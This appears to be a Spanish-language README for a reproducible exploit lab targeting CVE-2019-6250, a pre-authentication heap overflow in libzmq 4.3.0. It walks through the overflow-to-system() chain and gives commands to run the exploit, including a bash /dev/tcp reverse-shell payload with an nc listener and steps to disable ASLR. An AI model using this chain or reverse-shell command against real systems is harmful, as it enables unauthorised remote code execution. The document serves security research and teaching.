CVE-2019-6250 — Laboratorio de RCE pre-autenticación en libzmq

Cadena RCE funcional de extremo a extremo + laboratorio reproducible para CVE-2019-6250, el desbordamiento de búfer en el heap previo a la autenticación en v2_decoder_t::size_ready de libzmq. Un desbordamiento aritmético de puntero uint64_t permite que un par no autenticado sobrescriba el puntero a función msg_t::content_t::ffn adyacente en la ruta de transmisión ZMTP/2.0, y luego lo active mediante el cierre del socket TCP → ~v2_decoder_t() → _in_progress.close() → system(cmd).

Por Nicolas Krassas (@dinosn).

Solo para uso en laboratorio. Este kit incluye una versión intencionalmente vulnerable de libzmq 4.3.0. No expongas el puerto 5555 fuera del laboratorio. El error se corrigió hace siete años en libzmq 4.3.1 (commit 1a2ed127).

Demostración

Cadena system() — prueba de archivo

Shell inversa — root interactivo

Prueba de humo automatizada de extremo a extremo

Resumen (Docker)

docker build -t cve-2019-6250-lab .
docker run --rm -it --cap-add=SYS_ADMIN --security-opt seccomp=unconfined \
           -p 5555:5555 cve-2019-6250-lab

# inside the container:
/opt/zmq-rce/exploit.py 127.0.0.1 5555
ls -l /tmp/PWNED-CVE-2019-6250        # <-- created by the libzmq server process

Resumen (instalación directa — Debian 12 / Kali 2024.x / Ubuntu 22.04)

sudo ./setup.sh                       # builds libzmq 4.3.0 + target, disables ASLR
sudo ./start_server.sh                # binds tcp://0.0.0.0:5555
./exploit.py 127.0.0.1 5555           # default cmd: touch /tmp/PWNED-CVE-2019-6250
ls -l /tmp/PWNED-CVE-2019-6250

Shell inversa

# terminal 1 — listener
nc -lvnp 4444

# terminal 2 — fire the chain
./exploit.py 127.0.0.1 5555 'bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"'

Deberías ver algo como:

listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 55842
bash: cannot set terminal process group (1355844): Inappropriate ioctl for device
bash: no job control in this shell
root@host:/opt/zmq-rce#

La línea cannot set terminal process group (1355844) confirma que la shell fue generada por el proceso objetivo de libzmq (PID 1355844), no por nada que hayas ejecutado localmente.

Estructura del repositorio

.
├── README.md             # estás aquí
├── server.c              # pequeño receptor PULL — el objetivo vulnerable
├── exploit.py            # cadena RCE completa
├── setup.sh              # provisionador para instalación directa (clona + compila libzmq 4.3.0)
├── start_server.sh       # iniciar/reiniciar el objetivo
├── read_addresses.sh     # regenerar el perfil de direcciones para una imagen diferente
├── run_lab_test.sh       # prueba de humo automatizada de extremo a extremo (apta para CI)
├── Dockerfile            # laboratorio contenerizado con un solo comando
└── screenshots/          # capturas de pantalla del README (generadas con charmbracelet/freeze)

Mecánica

El error

src/v2_decoder.cpp:117 (libzmq 4.3.0):

shared_message_memory_allocator &allocator = get_allocator ();
if (unlikely (!_zero_copy
              || ((unsigned char *) read_pos_ + msg_size_         //  <-- wraps
                  > (allocator.data () + allocator.size ())))) {
    rc = _in_progress.init_size (static_cast<size_t> (msg_size_));   // safe path
} else {
    rc = _in_progress.init (read_pos_, msg_size_, call_dec_ref,
                            allocator.buffer (), allocator.provide_content ());
    // zero-copy aliasing path — _in_progress.data() == read_pos_
}

msg_size_ es el uint64_t big-endian controlado por el atacante del encabezado de trama LARGE de ZMTP/2.0. Con msg_size_ = 0xFFFFFFFFFFFFFFFF, la suma read_pos_ + msg_size_ se desborda módulo 2⁶⁴ y termina siendo menor que el lado derecho. La comprobación de límites se evalúa como falsa → la ejecución cae en la ruta de copia cero → el mensaje _in_progress alias el búfer de recepción. Luego, el decodificador solicita al kernel 0xFFFFFFFFFFFFFFFF bytes más en read_pos_, y recv() escribe felizmente nuestro payload más allá del final del búfer de recepción en el array content_t[] adyacente (asignado en el mismo bloque malloc() en decoder_allocators.cpp:88).

La cadena

[ atomic_counter_t (refcnt) ]   8 bytes
[ recv buffer ]                 8192 bytes  ← bytes start landing at read_pos_+0
[ content_t [ _max_counters ] ] 249 × 40 = 9960 bytes
                                ↑ content_t[0] starts at read_pos_+8183

Enviamos 8224 bytes de payload estructurados de la siguiente manera:

Cuando cerramos el socket TCP, ~v2_decoder_t() del servidor llama a _in_progress.close(). En msg_t::close:

if (!(_u.zclmsg.flags & shared) || !content->refcnt.sub(1)) {
    content->ffn(content->data, content->hint);     //  -> system(cmd)
}

init_external_storage estableció _u.zclmsg.flags = 0, por lo que el atajo OR toma la rama inmediatamente — ni siquiera se verifica refcnt. Nuestro ffn sobrescrito se ejecuta.

Sin ROP, sin shellcode, sin fuga de información: solo una resolución de símbolo de libc y una cadena de comando en línea.

Alcanzar v2_decoder_t previo a la autenticación

Mirando stream_engine.cpp:707:

bool zmq::stream_engine_t::handshake_v2_0 ()
{
    if (_session->zap_enabled ()) { error (...); return false; }
    _encoder = new v2_encoder_t (...);
    _decoder = new v2_decoder_t (...);     // <-- NO mechanism object
    return true;
}

La ruta ZMTP/2.0 instancia v2_decoder_t sin mecanismo. Solo ZAP rechaza las conexiones 2.0, y ZAP está desactivado por defecto. Una vez que un par envía el saludo ZMTP/2.0 de 12 bytes (0xff + 8 nulos + 0x7f + revisión 0x01 + tipo de socket), cada byte subsiguiente es analizado por v2_decoder_t. Sin autenticación. Sin handshake. Sin máquina de estados del mecanismo.

Evidencia de ASAN

Opcional: compila con -fsanitize=address y observa el informe de desbordamiento de búfer en el heap:

El mensaje 0 bytes after 18160-byte region confirma el tamaño del chunk que calculamos: 8 (atomic_counter) + 8192 (búfer de recepción) + 249 × 40 (array content_t) = 18160. El sitio de asignación en handshake_v2_0:719 confirma que el error se activa en la ruta ZMTP/2.0 previa a la autenticación.

Por qué direcciones fijas

Con kernel.randomize_va_space=0, la base de libc, la base de libzmq, el heap y el área malloc del hilo de E/S están en direcciones deterministas. El perfil predeterminado en exploit.py (DEFAULT_PROFILE) se captura para la compilación del laboratorio incluida (Debian 12 / Kali 2024.1 / glibc 2.38, libzmq 4.3.0 modo release -O2):

Al migrar a una compilación diferente de glibc / libzmq, ejecuta ./read_addresses.sh > profile.json después de start_server.sh, luego pasa --profile profile.json al exploit.

En un ataque real, necesitarías una primitiva de fuga de información o una llamada one-gadget que no requiera control de argumentos. Ambos están fuera del alcance de este laboratorio — el objetivo aquí es demostrar limpiamente el pipeline del error a la shell, no derrotar ASLR.

Mitigaciones

Limpieza

sudo pkill -9 server-rce
sudo rm -f /tmp/PWNED-CVE-2019-6250
sudo sysctl -w kernel.randomize_va_space=2     # restore default ASLR

Referencias

• HackerOne #477073 — divulgación original (Guido Vranken).
• zeromq/libzmq PR #3353 — la corrección de una línea.
• zeromq/libzmq issue #3351 — discusión pública.
• NVD CVE-2019-6250.
• 37/ZMTP — especificación del Protocolo de Transporte de Mensajes ZeroMQ.
• Artículo de SystemTek.

Autor

Nicolas Krassas — @dinosn

Licencia

MIT © Nicolas Krassas. El código fuente intencionalmente vulnerable de libzmq 4.3.0 se obtiene en tiempo de compilación del repositorio upstream LGPLv3-con-excepciones / MPLv2 — su licencia se aplica a ese código por separado.

Descargo de responsabilidad

Solo para investigación defensiva de seguridad, educación y pruebas de seguridad autorizadas. No implementes la compilación vulnerable incluida fuera de un entorno de laboratorio controlado.